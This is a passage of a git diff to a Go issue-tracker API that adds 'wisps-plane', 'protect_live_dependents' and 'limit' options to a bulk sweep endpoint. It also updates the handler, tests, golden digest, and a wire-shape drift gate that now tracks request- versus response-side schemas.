/v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather - than silently answering `unknown_parameter` for all four. The + than silently answering `unknown_parameter` for all four, + `issues.sweep.wispsPlane`, which announces that + `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of + `tier` rather than silently answering `invalid_value`, + `issues.sweep.liveDependents`, which announces that the same + operation accepts `protect_live_dependents` and answers + `skipped.live_dependent` rather than silently answering + `unknown_parameter`, and `issues.sweep.limit`, which announces + that it accepts `limit` and answers `remaining` rather than + silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -8011,7 +8020,25 @@ components: had moved underneath it. That silent gap is the whole reason this field exists. * `2` — the first release whose `ContextResponse` carries - `wire_revision` and `min_client_wire_revision` at all (this one). + `wire_revision` and `min_client_wire_revision` at all. Still + current: S4 widened `SweepRequest.tier`'s enum to add + `wisps-plane` and added `protect_live_dependents` and `limit` + alongside it, and none of the three bumped this counter. + `SweepRequest` is a REQUEST-body-only schema — no response ever + carries it — so nothing decodes it out of a server reply; the + new enum member and the two new fields are each something only + an UPDATED CLIENT chooses to send, behind their own behavior + tokens (`issues.sweep.wispsPlane`, `issues.sweep.liveDependents`, + `issues.sweep.limit`). An old client that never sends any of the + three has nothing to misdecode, which is exactly the additive + case this field exists to NOT gate. The wireshape drift gate + (`internal/httpapi/wireshape`) tracks, per member, whether it is + reachable from a request body, a response, or both, and treats + an enum WIDENING as additive only on a request-only member — + the identical widening on a response-side (or request+response) + member still counts as changed and still demands a bump, since + an existing client decoding a response must keep recognizing + every value the server might send it. PRESENCE, not just value: a generated client whose JSON decoder @@ -8506,13 +8533,20 @@ components: properties: tier: type: string - enum: [ephemeral, durable] + enum: [ephemeral, durable, wisps-plane] description: >- Which plane to clear. `ephemeral` is the wisp tier (`bd purge`) and `durable` is the issue tier (`bd prune`). The two are DISJOINT: a sweep of one can never touch a bead of the other. Required, with no default — a caller handed the wrong tier has nothing to notice until the beads are gone. + + + `wisps-plane` is a THIRD, wider tier: it clears the whole wisps + table (ephemeral beads) AND any durable bead with no history row, + in one pass. Behind the `issues.sweep.wispsPlane` behavior token: + an older server answers `invalid_value` for this member, since it + predates the token and knows only the first two values. actor: type: string minLength: 1 @@ -8574,6 +8608,25 @@ components: skips and the refusals are the same ones the real sweep would produce, computed against the same snapshot — and nothing is recorded in history either. + protect_live_dependents: + type: boolean + default: false + description: >- + Skip a closed candidate that a LIVE (not-done) bead depends on + through a parent/child, tracks, or blocks edge, so closing a + dependent's dependency does not erase the row a live bead still + points at. Protection is TRANSITIVE and crosses the ephemeral/durable + plane boundary. Behind the `issues.sweep.liveDependents` behavior + token: an older server answers `unknown_parameter` for this name. + limit: + type: integer + format: int64 + description: >- + Cap how many beads this sweep deletes, OLDEST-CLOSED-FIRST. Absent + or zero means unbounded. A negative value is a `400` + invalid_argument, the same as the role's own ErrValidation. Behind + the `issues.sweep.limit` behavior token: an older server answers + `unknown_parameter` for this name. SweepResult: type: object @@ -8620,6 +8673,15 @@ components: protected. items: type: string + remaining: + type: integer + format: int64 + description: >- + How many beads this sweep's own selection left unswept because + `limit` cut it off, oldest-closed-first. Always 0 when `limit` was + absent, zero, or at least as large as the matching set — never a + dropped count, a 0 here means nothing was left over. Present only + behind the `issues.sweep.limit` behavior token. SweepSkips: type: object @@ -8633,8 +8695,8 @@ components: description: >- The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different - things: the first two are PROTECTIONS, and the last four are the sweep - declining to trust its own input. + things: `pinned`, `referenced` and `live_dependent` are PROTECTIONS, + and the other four are the sweep declining to trust its own input. properties: pinned: type: integer @@ -8667,6 +8729,12 @@ components: description: >- Rows the tier query returned as nothing at all. A defense of the same kind, on a shape rather than a value. + live_dependent: + type: integer + description: >- + Candidates protected by `protect_live_dependents`. Always 0 when + that member is false or absent. Present only behind the + `issues.sweep.liveDependents` behavior token. ReadyPage: type: object diff --git a/internal/httpapi/sweep.go b/internal/httpapi/sweep.go index e8f9b32fe..2683f8358 100644 --- a/internal/httpapi/sweep.go +++ b/internal/httpapi/sweep.go @@ -18,12 +18,14 @@ import ( // sharper reason: a narrowing term the server silently ignored would widen // what is erased. const ( - sweepTierMember = "tier" - sweepActorMember = "actor" - sweepClosedBeforeMember = "closed_before" - sweepPatternMember = "pattern" - sweepProtectReferencedMember = "protect_referenced" - sweepDryRunMember = "dry_run" + sweepTierMember = "tier" + sweepActorMember = "actor" + sweepClosedBeforeMember = "closed_before" + sweepPatternMember = "pattern" + sweepProtectReferencedMember = "protect_referenced" + sweepDryRunMember = "dry_run" + sweepProtectLiveDependentsMember = "protect_live_dependents" + sweepLimitMember = "limit" ) // sweepMembers is the whole vocabulary, in one place, so the unknown-member @@ -36,6 +38,8 @@ var sweepMembers = []string{ sweepPatternMember, sweepProtectReferencedMember, sweepDryRunMember, + sweepProtectLiveDependentsMember, + sweepLimitMember, } // handleSweep answers POST /v0/beads/issues:sweep — one of the two DESTRUCTIVE @@ -51,7 +55,7 @@ var sweepMembers = []string{ // would be one handler away from an unguarded mass delete. // // Everything above the role here is argument validation: the media type, the -// body shape, and the six members the document publishes. +// body shape, and the eight members the document publishes. // // NO ACTOR IS INFERRED, for the reason the claim gives: the server's own // identity is meaningless to a remote caller. Unlike the claim, the actor is @@ -148,7 +152,7 @@ func (s *Server) sweepRequest(w http.ResponseWriter, r *http.Request) (issueops. // name the member. if !apigen.SweepRequestTier(*tier).Valid() { s.fail(w, r, InvalidArgument(sweepTierMember, ReasonInvalidValue, - "`"+sweepTierMember+"` must be \"ephemeral\" or \"durable\"")) + "`"+sweepTierMember+"` must be \"ephemeral\", \"durable\", or \"wisps-plane\"")) return issueops.SweepRequest{}, false } request.Tier = issueops.SweepTier(*tier) @@ -200,6 +204,7 @@ func (s *Server) sweepRequest(w http.ResponseWriter, r *http.Request) (issueops. }{ {sweepProtectReferencedMember, &request.ProtectReferenced}, {sweepDryRunMember, &request.DryRun}, + {sweepProtectLiveDependentsMember, &request.ProtectLiveDependents}, } { raw, ok := members[flag.member] if !ok { @@ -214,6 +219,20 @@ func (s *Server) sweepRequest(w http.ResponseWriter, r *http.Request) (issueops. *flag.dest = *value } + if raw, ok := members[sweepLimitMember]; ok { + var value *int64 + if err := json.Unmarshal(raw, &value); err != nil || value == nil { + s.fail(w, r, InvalidArgument(sweepLimitMember, ReasonInvalidValue, + "`"+sweepLimitMember+"` must be an integer")) + return issueops.SweepRequest{}, false + } + // A negative value is NOT refused here. The role refuses it + // (issueops.ErrValidation), and routing it through the role is what + // keeps one definition of what a valid limit is, the same way a + // malformed pattern is left to the role above. + request.Limit = int(*value) + } + return request, true } @@ -267,8 +286,11 @@ func sweepResponse(result issueops.SweepResult) apigen.SweepResult { UnknownClosedAt: result.Skipped.UnknownClosedAt, ClosedAtOrAfterCutoff: result.Skipped.ClosedAtOrAfterCutoff, Unreadable: result.Skipped.Unreadable, + LiveDependent: &result.Skipped.LiveDependent, }, } + remaining := int64(result.Remaining) + body.Remaining = &remaining if len(result.ReferencedIDs) > 0 { ids := append([]string(nil), result.ReferencedIDs...) body.ReferencedIds = &ids diff --git a/internal/httpapi/sweep_test.go b/internal/httpapi/sweep_test.go index 925a22ab2..61312665e 100644 --- a/internal/httpapi/sweep_test.go +++ b/internal/httpapi/sweep_test.go @@ -11,7 +11,7 @@ import ( ) // The pins for POST /v0/beads/issues:sweep. What is asserted here is the WIRE -// EDGE — that the handler decodes the document's six members into the role's +// EDGE — that the handler decodes the document's eight members into the role's // request faithfully, refuses what the document refuses, and does not // re-implement anything the role owns. @@ -42,7 +42,7 @@ func TestSweepPathReachesItsHandler(t *testing.T) { } // TestSweepForwardsEveryDocumentedMember is the operation's central pin: each -// of the six body members reaches the role's request unchanged. +// of the eight body members reaches the role's request unchanged. // // It is asserted on the REQUEST the role received rather than on the response: // a body carrying the right numbers says nothing about which set was swept, and @@ -57,7 +57,9 @@ func TestSweepForwardsEveryDocumentedMember(t *testing.T) { "closed_before": "2026-03-01T12:00:00Z", "pattern": "bd-old-*", "protect_referenced": true, - "dry_run": true + "dry_run": true, + "protect_live_dependents": true, + "limit": 25 }`) if resp.StatusCode != http.StatusOK { t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) @@ -72,10 +74,12 @@ func TestSweepForwardsEveryDocumentedMember(t *testing.T) { Tier: issueops.SweepDurable, // TRIMMED, by the same rule and the same function the claim's actor // goes through: it reaches the same commit-message interpolation. - Actor: "alice", - IDPattern: "bd-old-*", - ProtectReferenced: true, - DryRun: true, + Actor: "alice", + IDPattern: "bd-old-*", + ProtectReferenced: true, + DryRun: true, + ProtectLiveDependents: true, + Limit: 25, } cutoff := time.Date(2026, 3, 1, 12, 0, 0, 0, time.UTC) want.ClosedBefore = &cutoff @@ -149,7 +153,9 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { Skipped: issueops.SweepSkips{ Pinned: 1, Referenced: 2, NotClosed: 3, UnknownClosedAt: 4, ClosedAtOrAfterCutoff: 5, Unreadable: 6, + LiveDependent: 8, }, + Remaining: 13, ReferencedIDs: []string{"bd-1", "bd-2"}, }} ts := newTestServer(t, rolesConfig(Config{Sweeper: sweeper})) @@ -169,6 +175,7 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { {"dependencies", float64(3)}, {"labels", float64(2)}, {"events", float64(11)}, + {"remaining", float64(13)}, } { if body[want.key] != want.val { t.Errorf("%s = %v, want %v", want.key, body[want.key], want.val) @@ -182,6 +189,7 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { for key, want := range map[string]float64{ "pinned": 1, "referenced": 2, "not_closed": 3, "unknown_closed_at": 4, "closed_at_or_after_cutoff": 5, "unreadable": 6, + "live_dependent": 8, } { if skipped[key] != want { t.Errorf("skipped.%s = %v, want %v", key, skipped[key], want) @@ -194,6 +202,56 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { } } +// TestSweepResponseCarriesEveryRoleField is the guard sweepResponse's comment +// names, the sweep twin of TestDeleteResponseCarriesEveryRoleField. It counts +// fields at both levels the projection copies — the result and its skip +// buckets — and then projects a result with every role field set, so a wire +// field the projection leaves zero or nil fails as well as a field added to +// one side and not the other. +func TestSweepResponseCarriesEveryRoleField(t *testing.T) { + full := issueops.SweepResult{ + DryRun: true, Swept: 1, Dependencies: 2, Labels: 3, Events: 4, + Skipped: issueops.SweepSkips{ + Pinned: 5, Referenced: 6, LiveDependent: 7, NotClosed: 8, + UnknownClosedAt: 9, ClosedAtOrAfterCutoff: 10, Unreadable: 11, + }, + Remaining: 12, + ReferencedIDs: []string{"bd-1"}, + } + body := sweepResponse(full) + + for _, level := range []struct{ role, wire any }{ + {full, body}, + {full.Skipped, body.Skipped}, + } { + role, wire := reflect.TypeOf(level.role), reflect.TypeOf(level.wire) + if role.NumField() != wire.NumField() { + t.Errorf("%v has %d fields and %v has %d: a field was added to one and not projected onto the "+ + "other (see sweepResponse)", role, role.NumField(), wire, wire.NumField()) + } + } + requireEveryFieldSet(t, reflect.ValueOf(body), "SweepResult") +} + +// requireEveryFieldSet fails for each field of the struct v, followed through +// pointers and into nested structs, that still holds its zero value. +func requireEveryFieldSet(t *testing.T, v reflect.Value, path string) { + t.Helper() + for i := range v.NumField() { + field, name := v.Field(i), path+"."+v.Type().Field(i).Name + if field.Kind() == reflect.Pointer && !field.IsNil() { + field = field.Elem() + } + if field.Kind() == reflect.Struct { + requireEveryFieldSet(t, field, name) + continue + } + if field.IsZero() { + t.Errorf("%s is unset although every role field was set: sweepResponse does not project it", name) + } + } +} + // TestSweepOmitsAnEmptyReferencedSample: the member is documented ABSENT when // nothing was protected, so a client can tell "nothing cited" from "the // protection was not asked for" without a second field. @@ -229,6 +287,9 @@ func TestSweepRefusesTheDocumentedBodies(t *testing.T) { {"pattern is not a string", `{"tier":"ephemeral","pattern":true}`, "pattern"}, {"dry_run is not a boolean", `{"tier":"ephemeral","dry_run":"yes"}`, "dry_run"}, {"protect_referenced is not a boolean", `{"tier":"ephemeral","protect_referenced":1}`, "protect_referenced"}, + {"protect_live_dependents is not a boolean", `{"tier":"ephemeral","protect_live_dependents":"yes"}`, "protect_live_dependents"}, + {"limit is not an integer", `{"tier":"ephemeral","limit":2.5}`, "limit"}, + {"limit is null", `{"tier":"ephemeral","limit":null}`, "limit"}, } { t.Run(test.name, func(t *testing.T) { sweeper := &roleSweeper{} diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 19f8d2791..1dccd173c 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -4181,12 +4181,25 @@ "type": "boolean", "required": false }, + { + "schema": "SweepRequest", + "member": "limit", + "type": "integer", + "format": "int64", + "required": false + }, { "schema": "SweepRequest", "member": "pattern", "type": "string", "required": false }, + { + "schema": "SweepRequest", + "member": "protect_live_dependents", + "type": "boolean", + "required": false + }, { "schema": "SweepRequest", "member": "protect_referenced", @@ -4199,7 +4212,8 @@ "type": "string", "enum": [ "durable", - "ephemeral" + "ephemeral", + "wisps-plane" ], "required": true }, @@ -4234,6 +4248,13 @@ "required": false, "item_type": "string" }, + { + "schema": "SweepResult", + "member": "remaining", + "type": "integer", + "format": "int64", + "required": false + }, { "schema": "SweepResult", "member": "skipped", @@ -4252,6 +4273,12 @@ "type": "integer", "required": true }, + { + "schema": "SweepSkips", + "member": "live_dependent", + "type": "integer", + "required": false + }, { "schema": "SweepSkips", "member": "not_closed", @@ -5971,5 +5998,146 @@ "style": "form", "explode": true } - ] + ], + "sides": { + "AddCommentRequest": "request", + "AddDependenciesRequest": "request", + "AddDependenciesResponse": "response", + "AnchorEdgeCount": "response", + "ApplyBatchRequest": "request", + "ApplyBatchResponse": "response", + "ApplyBatchResponse.keys": "response", + "ApplyBatchResponse.keys{}": "response", + "ApplyCloseItem": "request", + "ApplyCreateItem": "request", + "ApplyCreateItem.labels[]": "request", + "ApplyCreateItem.metadata_refs": "request", + "ApplyDepAddItem": "request", + "ApplyItem": "request", + "ApplyItemResult": "response", + "ApplyLabelPatch": "request", + "ApplyLabelPatch.add[]": "request", + "ApplyLabelPatch.remove[]": "request", + "ApplyLabelPatch.replace[]": "request", + "ApplyMetadataPatch": "request", + "ApplyMetadataPatch.set": "request", + "ApplyMetadataPatch.unset[]": "request", + "ApplyPatchBody": "request", + "ApplyUpdateItem": "request", + "BatchCloseItem": "request", + "BatchCloseRequest": "request", + "BatchCloseResponse": "response", + "BatchCreateDependency": "request", + "BatchCreateItem": "request", + "BatchCreateItem.labels[]": "request", + "BatchCreateRequest": "request", + "BatchCreateResponse": "response", + "BatchGetIssue": "response", + "BatchGetIssue.labels[]": "response", + "BatchGetIssue.metadata": "response", + "BatchGetIssue.waiters[]": "response", + "BatchGetIssuesRequest": "request", + "BatchGetIssuesRequest.ids[]": "request", + "BatchGetIssuesResult": "response", + "BatchGetIssuesResult.missing[]": "response", + "Blocker": "response", + "BlockingAnnotations": "response", + "BondRef": "response", + "ClaimNextRequest": "request", + "ClaimNextResponse": "response", + "ClaimRequest": "request", + "ClaimResponse": "response", + "CloseIssueRequest": "request", + "CloseIssueResponse": "response", + "CloseOutcome": "response", + "Comment": "response", + "CompareAndSetMetadataRequest": "request", + "CompareAndSetMetadataResponse": "response", + "ContextResponse": "response", + "ContextResponse.capabilities[]": "response", + "CreateIssueDependency": "request", + "CreateIssueRequest": "request", + "CreateIssueRequest.labels[]": "request", + "CreateIssueWaitsFor": "request", + "Cycle": "response", + "CycleMember": "response", + "CyclesPage": "response", + "DeleteIssuesRequest": "request", + "DeleteIssuesRequest.ids[]": "request", + "DeleteIssuesResult": "response", + "DeleteIssuesResult.orphaned[]": "response", + "Dependency": "response", + "DependencyEdge": "both", + "DependencyEdges": "response", + "DependencyEdges.missing[]": "response", + "DependencyTreePage": "response", + "EdgeCounts": "response", + "EventRecord": "response", + "EventRecord.comment": "response", + "EventRecord.dep": "response", + "EventRecord.issue": "response", + "EventsPage": "response", + "Health": "response", + "Issue": "response", + "Issue.labels[]": "response", + "Issue.metadata": "response", + "Issue.waiters[]": "response", + "IssueBlocking": "response", + "IssueBlocking.blocked_by[]": "response", + "IssueBlocking.blocks[]": "response", + "IssueCount": "response", + "IssueCount.groups": "response", + "IssueCount.groups{}": "response", + "IssueDetails": "response", + "IssueDetails.gated_by[]": "response", + "IssueDetails.labels[]": "response", + "IssueDetails.metadata": "response", + "IssueDetails.waiters[]": "response", + "IssuePatchBody": "request", + "IssuePatchBody.add_labels[]": "request", + "IssuePatchBody.labels[]": "request", + "IssuePatchBody.remove_labels[]": "request", + "IssueWithCounts": "response", + "IssueWithCounts.labels[]": "response", + "IssueWithCounts.metadata": "response", + "IssueWithCounts.waiters[]": "response", + "IssueWithDependencyMetadata": "response", + "IssueWithDependencyMetadata.labels[]": "response", + "IssueWithDependencyMetadata.metadata": "response", + "IssueWithDependencyMetadata.waiters[]": "response", + "IssuesPage": "response", + "MemoriesPage": "response", + "Memory": "response", + "MetadataValue": "request", + "Problem": "response", + "QueryPage": "response", + "ReadyCount": "response", + "ReadyPage": "response", + "Ref": "request", + "RelatedIssues": "response", + "ReleaseIssueRequest": "request", + "ReleaseIssueResponse": "response", + "RememberRequest": "request", + "RememberedMemory": "response", + "RemoveDependencyRequest": "request", + "RemoveDependencyResponse": "response", + "RemovedSetting": "response", + "ReopenIssueRequest": "request", + "ReopenIssueResponse": "response", + "SetSettingRequest": "request", + "Setting": "response", + "SettingsPage": "response", + "Statistics": "response", + "StatsResponse": "response", + "SweepRequest": "request", + "SweepResult": "response", + "SweepResult.referenced_ids[]": "response", + "SweepSkips": "response", + "TreeNode": "response", + "TreeNode.labels[]": "response", + "TreeNode.metadata": "response", + "TreeNode.waiters[]": "response", + "UpdateIssueRequest": "request", + "UpdateIssueResponse": "response" + } } diff --git a/internal/httpapi/wireshape/wireshape.go b/internal/httpapi/wireshape/wireshape.go index f778424f0..310a4a294 100644 --- a/internal/httpapi/wireshape/wireshape.go +++ b/internal/httpapi/wireshape/wireshape.go @@ -98,19 +98,35 @@ func paramKey(operationID, in, name string) (schema, member string) { } // Digest is the golden document: the wire revision it was computed against, -// plus every member entry, sorted for a stable diff. +// every member entry (sorted for a stable diff), and Sides — a side-channel +// map from schema name to "request", "response" or "both", recording which +// kind of body (if any) ever reaches that NAMED schema during the walk. +// +// Sides is deliberately NOT a field on Entry itself: Entry is the shape the +// golden pins per member, and giving every member its own copy of the same +// per-SCHEMA fact would turn "we now also track reachability" into a +// spurious Changed diff on every existing entry the day this shipped, which +// is exactly the noise a real, deliberate wire change is supposed to stand +// out from. Keeping it a separate, schema-keyed map makes adding this +// bookkeeping itself a pure addition to the digest. type Digest struct { - WireRevision int `json:"wire_revision"` - Entries []Entry `json:"entries"` + WireRevision int `json:"wire_revision"` + Entries []Entry `json:"entries"` + Sides map[string]string `json:"sides,omitempty"` } // CompareResult is the outcome of diffing two digests by "schema\x00member" -// key: Changed holds keys present in both whose Entry differs, Removed holds -// keys only want has, and Added holds keys only got has. +// key: Changed holds keys present in both whose Entry differs non-additively, +// Removed holds keys only want has, Added holds keys only got has, and +// Widened holds keys present in both whose ONLY difference is a request-only +// enum strictly widening (see widensAdditively) — additive, like Added, but +// kept in its own bucket so a reader can tell "this key is new" apart from +// "this key's enum grew" at a glance. type CompareResult struct { Changed []string Removed []string Added []string + Widened []string } // Compare diffs want (typically the committed golden) against got (typically @@ -135,6 +151,10 @@ func Compare(want, got Digest) CompareResult { continue } if !reflect.DeepEqual(w, g) { + if widensAdditively(w, g, want.Sides[w.Schema], got.Sides[g.Schema]) { + result.Widened = append(result.Widened, key) + continue + } result.Changed = append(result.Changed, key) } } @@ -146,9 +166,51 @@ func Compare(want, got Digest) CompareResult { sort.Strings(result.Changed) sort.Strings(result.Removed) sort.Strings(result.Added) + sort.Strings(result.Widened) return result } +// widensAdditively reports whether old -> new differs ONLY in Enum, with +// new's Enum a strict superset of old's, and oldSide/newSide (the entry's +// Schema looked up in each Digest's Sides map) both exactly "request". That +// combination is additive, not a wire break: a request-only member is never +// decoded out of a response, so the CLIENT alone decides whether it sends +// one of the new values — an old client that never sends the new member +// never has anything to misdecode. Any other difference (type, format, +// required, nullable, item/additional-props shape, or an enum NARROWING or +// reordering-with-removal) is excluded here and falls through to the +// ordinary non-additive Changed path, as does the identical widening on a +// "response" or "both" (or unknown/param, "") side, where an existing client +// decoding a response must still recognize every value the server might +// send. An old side with NO enum at all (a free-form string) is the limit +// case of a narrowing — going from unconstrained to any fixed set is a new +// restriction the server did not enforce before, not a widening — so it is +// excluded too: len(old.Enum) == 0 falls through to Changed just like a +// strict narrowing does. +func widensAdditively(old, new Entry, oldSide, newSide string) bool { //nolint:revive // "new" reads clearest paired with "old" here + if oldSide != sideRequest || newSide != sideRequest { + return false + } + oldNoEnum, newNoEnum := old, new + oldNoEnum.Enum, newNoEnum.Enum = nil, nil + if !reflect.DeepEqual(oldNoEnum, newNoEnum) { + return false + } + if len(old.Enum) == 0 || len(new.Enum) <= len(old.Enum) { + return false + } + newSet := make(map[string]bool, len(new.Enum)) + for _, v := range new.Enum { + newSet[v] = true + } + for _, v := range old.Enum { + if !newSet[v] { + return false + } + } + return true +} + // SafeToWrite is gendigest's write guard (review MEDIUM: "refuse to write // changed or removed entries unless CurrentWireRevision is higher than the // golden's recorded revision. Additive entries are allowed."). A pure @@ -218,7 +280,7 @@ func computeFrom(document []byte, wireRevision int) (Digest, error) { return Digest{}, fmt.Errorf("parse openapi document: %w", err) } - c := &collector{doc: doc, visited: map[string]bool{}, byKey: map[string]Entry{}} + c := &collector{doc: doc, sideWalked: map[string]bool{}, byKey: map[string]Entry{}, sideOf: map[string]string{}} paths, _ := doc["paths"].(map[string]any) for _, item := range paths { @@ -242,12 +304,12 @@ func computeFrom(document []byte, wireRevision int) (Digest, error) { continue } respMap = c.resolveAny(respMap) - c.walkContent(respMap) + c.walkContent(respMap, sideResponse) } if rb, ok := op["requestBody"].(map[string]any); ok { rb = c.resolveAny(rb) - c.walkContent(rb) + c.walkContent(rb, sideRequest) } operationID := asString(op["operationId"]) @@ -272,14 +334,30 @@ func computeFrom(document []byte, wireRevision int) (Digest, error) { } return entries[i].Member < entries[j].Member }) - return Digest{WireRevision: wireRevision, Entries: entries}, nil + return Digest{WireRevision: wireRevision, Entries: entries, Sides: c.sideOf}, nil } +// sideRequest and sideResponse are the two values recordSide ever writes +// directly into Digest.Sides (keyed by schema name, not by Entry); an +// unrecorded schema — a parameter's container, or any schema this walk never +// reaches — simply has no key, which Compare's map lookup reads as "" and +// widensAdditively then treats as ineligible, the same as sideResponse. +const ( + sideRequest = "request" + sideResponse = "response" + // sideBoth marks a schema reached from both a request and a response + // walk — recordSide promotes to it the moment the two disagree, and it is + // never eligible for the enum-widening carve-out any more than + // sideResponse is. + sideBoth = "both" +) + // walkContent walks every media type's schema under a resolved response or -// requestBody node's `content` map. Shared by Compute's response and request -// body loops: a response object and a resolved requestBody object are both -// shaped `{content: {mediaType: {schema: ...}}}`. -func (c *collector) walkContent(node map[string]any) { +// requestBody node's `content` map, tagging every schema it reaches in +// Digest.Sides (via walk's recordSide calls). Shared by Compute's response +// and request body loops: a response object and a resolved requestBody +// object are both shaped `{content: {mediaType: {schema: ...}}}`. +func (c *collector) walkContent(node map[string]any, side string) { content, _ := node["content"].(map[string]any) for _, rawMedia := range content { media, ok := rawMedia.(map[string]any) @@ -290,7 +368,7 @@ func (c *collector) walkContent(node map[string]any) { if !ok { continue } - c.walk(schemaNode, "") + c.walk(schemaNode, "", side) } } @@ -375,9 +453,34 @@ func defaultParamStyle(in string) string { } type collector struct { - doc map[string]any - visited map[string]bool - byKey map[string]Entry // "schema\x00member" -> Entry + doc map[string]any + // sideWalked guards recursion into a named (or synthetically labeled) + // node's properties, keyed by "name\x00side" rather than by name alone + // (see walk's doc comment for why: name alone let a node visited first + // from one side block the OTHER side's walk from ever reaching that + // node's children). + sideWalked map[string]bool + byKey map[string]Entry // "schema\x00member" -> Entry + sideOf map[string]string +} + +// recordSide notes that schema name was reached via side ("request" or +// "response"), promoting to sideBoth the moment the two disagree. It runs on +// EVERY visit to name, including one walk skips the properties of because +// visited already marked it seen — a schema visited first from a response +// and only later from a request must still end up "both", not stuck at +// whichever context happened to walk its properties. +func (c *collector) recordSide(name, side string) { + if name == "" || side == "" { + return + } + existing, ok := c.sideOf[name] + switch { + case !ok: + c.sideOf[name] = side + case existing != side: + c.sideOf[name] = sideBoth + } } // lookup resolves one local $ref to the node it names. It returns nil for @@ -473,12 +576,25 @@ func defaultString(v any) string { // recorded under it; a $ref always overrides it with the component's own // name. // -// Every NAMED schema is walked at most once (the visited guard), which is -// what makes a cycle between named schemas (and there is at least the -// potential for one as this document grows) a no-op rather than a stack -// overflow, and what makes the digest the same whichever operation reaches a -// shared schema first. -func (c *collector) walk(node map[string]any, label string) { +// Recursion into a (name, side) pair's properties happens at most once (the +// sideWalked guard), which is what makes a cycle between named schemas (and +// there is at least the potential for one as this document grows) a no-op +// rather than a stack overflow. The guard is keyed on side, NOT on name +// alone: a schema reached first from a request and later from a response +// (directly, or nested under some other schema the response reaches) must +// still have its PROPERTIES walked a second time with side="response", so +// every descendant that is itself reachable from a response gets recordSide +// called for that side too. Gating on name alone — walked once, ever, +// regardless of which side asks — promotes the node ITSELF to "both" (recordSide +// runs unconditionally before the guard) while leaving every child stuck at +// whichever side first walked down into it: a child nested two levels under a +// schema shared by both a request and a response would silently stay +// request-only or response-only depending on map iteration order, which is +// exactly backwards for a digest whose whole job is deciding whether an enum +// widening is additive by side. TestSidePropagatesToNestedChildren and +// TestComputeFromSideAssignmentIsDeterministic pin both the correctness and +// the order-independence of this. +func (c *collector) walk(node map[string]any, label string, side string) { name := label for { ref, ok := node["$ref"].(string) @@ -507,11 +623,13 @@ func (c *collector) walk(node map[string]any, label string) { node = merged } + c.recordSide(name, side) if name != "" { - if c.visited[name] { + sideKey := name + "\x00" + side + if c.sideWalked[sideKey] { return } - c.visited[name] = true + c.sideWalked[sideKey] = true } if props, ok := node["properties"].(map[string]any); ok { @@ -565,16 +683,16 @@ func (c *collector) walk(node map[string]any, label string) { switch entry.Type { case "object": - c.walk(propMap, name+"."+member) + c.walk(propMap, name+"."+member, side) if addlPropsNode != nil { // A map value that is itself a named/object schema gets // its own members walked too, under a label distinct // from an array's "[]" so the two can never collide. - c.walk(addlPropsNode, name+"."+member+"{}") + c.walk(addlPropsNode, name+"."+member+"{}", side) } case "array": if itemsNode != nil { - c.walk(itemsNode, name+"."+member+"[]") + c.walk(itemsNode, name+"."+member+"[]", side) } } } @@ -587,7 +705,7 @@ func (c *collector) walk(node map[string]any, label string) { if itemLabel == "" { itemLabel = label } - c.walk(items, itemLabel+"[]") + c.walk(items, itemLabel+"[]", side) } } } diff --git a/internal/httpapi/wireshape/wireshape_internal_test.go b/internal/httpapi/wireshape/wireshape_internal_test.go index ee7f7ac47..bbb97cf29 100644 --- a/internal/httpapi/wireshape/wireshape_internal_test.go +++ b/internal/httpapi/wireshape/wireshape_internal_test.go @@ -2,6 +2,7 @@ package wireshape import ( "reflect" + "slices" "testing" ) @@ -106,6 +107,74 @@ func TestWalkParam(t *testing.T) { } } +// sideDoc exercises the three combinations Compute's side-tracking must tell +// apart: a schema reachable ONLY from a request body (reqOnly's ReqOnly), one +// reachable ONLY from a response (respOnly's RespOnly), and one reachable +// from both a request body and a response, on the SAME operation (bothSides' +// Shared) — the case recordSide's "promote to both" path exists for. +const sideDoc = `openapi: 3.0.3 +paths: + /req-only: + post: + operationId: reqOnly + requestBody: + content: + application/json: + schema: {$ref: '#/components/schemas/ReqOnly'} + responses: + '200': {description: ok} + /resp-only: + get: + operationId: respOnly + responses: + '200': + description: ok + content: + application/json: + schema: {$ref: '#/components/schemas/RespOnly'} + /both: + put: + operationId: bothSides + requestBody: + content: + application/json: + schema: {$ref: '#/components/schemas/Shared'} + responses: + '200': + description: ok + content: + application/json: + schema: {$ref: '#/components/schemas/Shared'} +components: + schemas: + ReqOnly: {type: object, properties: {tier: {type: string, enum: [a, b]}}} + RespOnly: {type: object, properties: {tier: {type: string, enum: [a, b]}}} + Shared: {type: object, properties: {tier: {type: string, enum: [a, b]}}} +` + +// TestSideTracking pins Compute's own Digest.Sides assignment (what +// widensAdditively's oldSide/newSide lookups rely on): a request-only schema +// is "request", a response-only schema is "response", and a schema reached +// from both — even when the already-visited path skips re-walking its +// properties — is promoted to "both", never stuck at whichever side happened +// to walk it first. +func TestSideTracking(t *testing.T) { + d, err := computeFrom([]byte(sideDoc), 2) + if err != nil { + t.Fatalf("computeFrom: %v", err) + } + + for schema, wantSide := range map[string]string{ + "ReqOnly": "request", + "RespOnly": "response", + "Shared": "both", + } { + if got := d.Sides[schema]; got != wantSide { + t.Errorf("Sides[%q] = %q, want %q", schema, got, wantSide) + } + } +} + // TestEffectiveSerializationIsCompared is the Compute-level falsification for // recording effective style/explode values: changing how a parameter that // relied on its defaults is serialized must be a changed entry SafeToWrite @@ -153,3 +222,162 @@ func TestEffectiveSerializationIsCompared(t *testing.T) { }) } } + +// sharedNestedDoc reproduces the shape the MED1 re-review flagged: Parent is +// a request body (createParent) AND reachable from a response through +// Wrapper.p (getWrapper) — the same "reached from both sides" case sideDoc's +// Shared covers at the top level, but with two further wrinkles sideDoc +// cannot: Child is a NAMED schema nested two levels down (Parent.child, +// $ref'd), and Parent.inl is an ANONYMOUS nested object (no $ref of its own, +// so it is only ever identified by its synthetic "Parent.inl" label) with its +// own enum member. Both sit below the point where the old walk's name-only +// (not name+side) guard stopped recursing on 